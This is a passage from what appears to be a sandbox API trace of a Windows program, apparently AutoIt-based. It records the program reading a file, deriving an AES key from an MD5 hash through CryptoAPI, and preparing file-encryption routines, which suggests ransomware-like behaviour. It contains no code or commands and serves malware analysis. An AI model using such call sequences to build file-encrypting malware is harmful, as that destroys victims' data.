lpUsedDefaultChar=0x0) returned 7 [0024.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0xe8f40646e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memset", lpUsedDefaultChar=0x0) returned 7 [0024.341] GetProcAddress (hModule=0x7ffe2a8b0000, lpProcName="memset") returned 0x7ffe2a8b1690 [0024.341] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.341] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.341] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.341] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0024.341] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.341] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.341] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.341] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.341] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.341] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.341] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.341] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.342] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.342] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.342] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.342] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.342] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.342] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.342] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.342] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.342] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0024.343] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.343] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.343] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.344] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0024.344] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.344] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.344] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.344] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.344] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.344] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.344] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0024.344] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.344] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.344] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.344] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.344] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.345] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.346] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.346] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.346] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.346] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.346] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.346] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.346] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.346] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0024.346] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=3241) returned 1 [0024.346] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.346] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0024.347] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0024.347] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0xca9, lpOverlapped=0x0) returned 1 [0024.347] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0024.347] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xca9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.347] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=3241) returned 1 [0024.347] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.347] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.347] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.347] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.347] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.347] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0024.347] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.347] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0024.347] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.347] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.347] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0024.347] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.347] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.347] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0024.347] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.347] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0024.347] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0024.347] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.347] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.348] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.348] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.348] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.348] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.348] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0024.348] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.348] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.348] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.348] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.348] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.348] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.348] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.348] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.348] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.348] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.348] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.348] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.348] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.348] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.348] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.348] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0024.348] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.348] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.348] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.348] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.349] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.349] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0024.349] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.349] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f406a550) returned 1 [0024.349] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.350] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.350] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0024.350] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.350] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.351] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0024.351] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.351] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.351] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.352] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.352] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.352] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0024.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0xe8f417b0e0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0024.353] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptCreateHash") returned 0x7ffe2a59e85c [0024.353] CryptCreateHash (in: hProv=0xe8f406a550, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0024.353] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0024.353] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.353] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.353] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b3c0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0024.354] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.354] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.354] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.354] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.354] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.354] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.354] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.354] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.354] CryptDeriveKey (in: hProv=0xe8f406a550, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0024.354] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.354] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.354] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.354] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.354] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.354] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.354] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0024.354] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.354] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0024.354] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.354] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.354] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.354] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.354] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.355] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.355] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0024.355] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.355] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.355] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, 